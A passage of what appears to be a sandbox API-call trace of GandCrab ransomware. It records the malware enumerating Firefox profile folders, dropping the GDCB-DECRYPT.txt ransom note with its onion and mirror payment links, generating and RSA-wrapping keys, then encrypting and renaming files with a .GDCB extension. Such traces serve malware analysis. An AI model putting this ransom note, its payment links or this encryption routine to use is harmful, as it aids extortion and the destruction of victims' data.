recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.770] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285de44, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285de44*=0xad6, lpOverlapped=0x0) returned 1 [0057.770] CloseHandle (hObject=0x510) returned 1 [0057.771] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.771] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\") returned 109 [0057.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*" [0057.771] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5dd848 [0057.771] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.771] FindNextFileW (in: hFindFile=0x5dd848, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.771] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.771] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.771] FindNextFileW (in: hFindFile=0x5dd848, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.771] lstrcmpW (lpString1="2918063365piupsah.files", lpString2=".") returned 1 [0057.771] lstrcmpW (lpString1="2918063365piupsah.files", lpString2="..") returned 1 [0057.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="2918063365piupsah.files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files" [0057.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\" [0057.771] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.771] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.771] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\") returned 133 [0057.772] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*" [0057.772] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5dd908 [0057.772] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.772] FindNextFileW (in: hFindFile=0x5dd908, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0057.772] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.772] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.772] FindNextFileW (in: hFindFile=0x5dd908, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0057.772] FindClose (in: hFindFile=0x5dd908 | out: hFindFile=0x5dd908) returned 1 [0057.772] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.772] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\\\GDCB-DECRYPT.txt") returned 150 [0057.772] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0057.772] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.772] WriteFile (in: hFile=0x514, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285dbbc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285dbbc*=0xad6, lpOverlapped=0x0) returned 1 [0057.773] CloseHandle (hObject=0x514) returned 1 [0057.773] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\") returned 133 [0057.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*" [0057.773] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5dde08 [0057.773] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.773] FindNextFileW (in: hFindFile=0x5dde08, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0057.773] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.773] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.773] FindNextFileW (in: hFindFile=0x5dde08, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0057.773] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.773] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\GDCB-DECRYPT.txt" [0057.773] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.774] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\GDCB-DECRYPT.txt") returned 149 [0057.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\GDCB-DECRYPT.txt") returned 149 [0057.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\GDCB-DECRYPT.txt") returned 149 [0057.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\GDCB-DECRYPT.txt") returned 149 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.774] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.774] FindNextFileW (in: hFindFile=0x5dde08, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0057.774] FindClose (in: hFindFile=0x5dde08 | out: hFindFile=0x5dde08) returned 1 [0057.774] FindNextFileW (in: hFindFile=0x5dd848, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.774] lstrcmpW (lpString1="2918063365piupsah.sqlite", lpString2=".") returned 1 [0057.774] lstrcmpW (lpString1="2918063365piupsah.sqlite", lpString2="..") returned 1 [0057.774] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="2918063365piupsah.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" [0057.774] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.774] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133 [0057.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133 [0057.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133 [0057.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133 [0057.774] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="desktop.ini") returned -1 [0057.774] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="autorun.inf") returned -1 [0057.774] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="ntuser.dat") returned -1 [0057.774] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="iconcache.db") returned -1 [0057.774] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="bootsect.bak") returned -1 [0057.774] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="boot.ini") returned -1 [0057.774] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="ntuser.dat.log") returned -1 [0057.775] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="thumbs.db") returned -1 [0057.775] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="GDCB-DECRYPT.txt") returned -1 [0057.775] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite")) returned 0x20 [0057.775] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite", dwFileAttributes=0x20) returned 1 [0057.775] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.775] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" [0057.775] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.GDCB" [0057.775] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x58fc60) returned 1 [0057.775] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.776] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.776] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.776] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0057.776] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.776] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.776] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x58fc60) returned 1 [0057.776] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.777] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.777] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0057.777] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.777] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.777] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.777] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.777] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x58fc60) returned 1 [0057.779] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x5dd888) returned 1 [0057.780] CryptGetKeyParam (in: hKey=0x5dd888, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0057.780] CryptEncrypt (in: hKey=0x5dd888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0057.780] GetLastError () returned 0x0 [0057.780] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.780] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x58fc60) returned 1 [0057.782] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x5dd988) returned 1 [0057.782] CryptGetKeyParam (in: hKey=0x5dd988, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0057.782] CryptEncrypt (in: hKey=0x5dd988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0057.782] GetLastError () returned 0x0 [0057.782] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.782] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0057.782] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.782] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.783] ReadFile (in: hFile=0x514, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285de08*=0xc000, lpOverlapped=0x0) returned 1 [0057.792] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.792] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.793] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.793] SetFilePointer (in: hFile=0x514, lDistanceToMove=-49152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.793] WriteFile (in: hFile=0x514, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xc000, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285de00*=0xc000, lpOverlapped=0x0) returned 1 [0057.794] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.794] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.797] WriteFile (in: hFile=0x514, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285de00*=0x100, lpOverlapped=0x0) returned 1 [0057.797] WriteFile (in: hFile=0x514, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285de00*=0x100, lpOverlapped=0x0) returned 1 [0057.797] WriteFile (in: hFile=0x514, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285de00*=0x10, lpOverlapped=0x0) returned 1 [0057.797] CloseHandle (hObject=0x514) returned 1 [0057.798] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.798] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.799] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.799] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.gdcb")) returned 1 [0057.799] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.799] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.800] FindNextFileW (in: hFindFile=0x5dd848, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.800] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.800] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\GDCB-DECRYPT.txt" [0057.800] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.800] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 